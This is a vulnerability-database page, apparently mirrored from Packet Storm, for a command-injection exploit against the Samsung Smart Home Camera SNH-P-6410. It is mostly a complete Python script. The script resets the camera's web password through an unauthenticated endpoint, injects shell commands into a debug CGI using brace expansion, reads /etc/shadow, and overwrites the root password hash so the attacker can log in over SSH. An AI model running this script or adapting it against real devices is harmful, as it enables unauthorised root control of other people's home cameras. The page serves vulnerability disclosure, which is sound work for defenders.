Lucene search
K

Samsung Smart Home Camera SNH-P-6410 Command Injection

🗓️ 14 Aug 2016 00:00:00Reported by PenTest PartnersType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 37 Views

Samsung Smart Home Camera SNH-P-6410 Command Injection to Change Password

Code
`import urllib, urllib2, crypt, time  
  
# New password for web interface  
web_password = 'admin'  
# New password for root  
root_password = 'root'  
# IP of the camera  
ip = '192.168.12.61'  
  
# These are all for the Smartthings bundled camera  
realm = 'iPolis'  
web_username = 'admin'  
base_url = 'http://' + ip + '/cgi-bin/adv/debugcgi?msubmenu=shell&command=ls&command_arg=/...;'  
  
  
# Take a command and use command injection to run it on the device  
def run_command(command):  
# Convert a normal command into one using bash brace expansion  
# Can't send spaces to debugcgi as it doesn't unescape  
command_brace = '{' + ','.join(command.split(' ')) + '}'  
command_url = base_url + command_brace  
  
# HTTP digest auth for urllib2  
authhandler = urllib2.HTTPDigestAuthHandler()  
authhandler.add_password(realm, command_url, web_username, web_password)  
opener = urllib2.build_opener(authhandler)  
urllib2.install_opener(opener)  
  
return urllib2.urlopen(command_url)  
  
# Step 1 - change the web password using the unauthed vuln found by zenofex  
data = urllib.urlencode({ 'data' : 'NEW;' + web_password })  
urllib2.urlopen('http://' + ip + '/classes/class_admin_privatekey.php', data)  
  
# Need to sleep or the password isn't changed  
time.sleep(1)  
  
# Step 2 - find the current root password hash  
shadow = run_command('cat /etc/shadow')  
  
for line in shadow:  
if line.startswith('root:'):  
current_hash = line.split(':')[1]  
  
# Crypt the new password  
new_hash = crypt.crypt(root_password, '00')  
  
# Step 3 - Use sed to search and replace the old for new hash in the passwd  
# This is done because the command injection doesn't allow a lot of different URL encoded chars  
run_command('sed -i -e s/' + current_hash + '/' + new_hash + '/g /etc/shadow')  
  
# Step 4 - check that the password has changed  
shadow = run_command('cat /etc/shadow')  
  
for line in shadow:  
if line.startswith('root:'):  
current_hash = line.split(':')[1]  
  
if current_hash <> new_hash:  
print 'Error! - password not changed'  
  
# Step 5 - ssh to port 1022 with new root password!  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation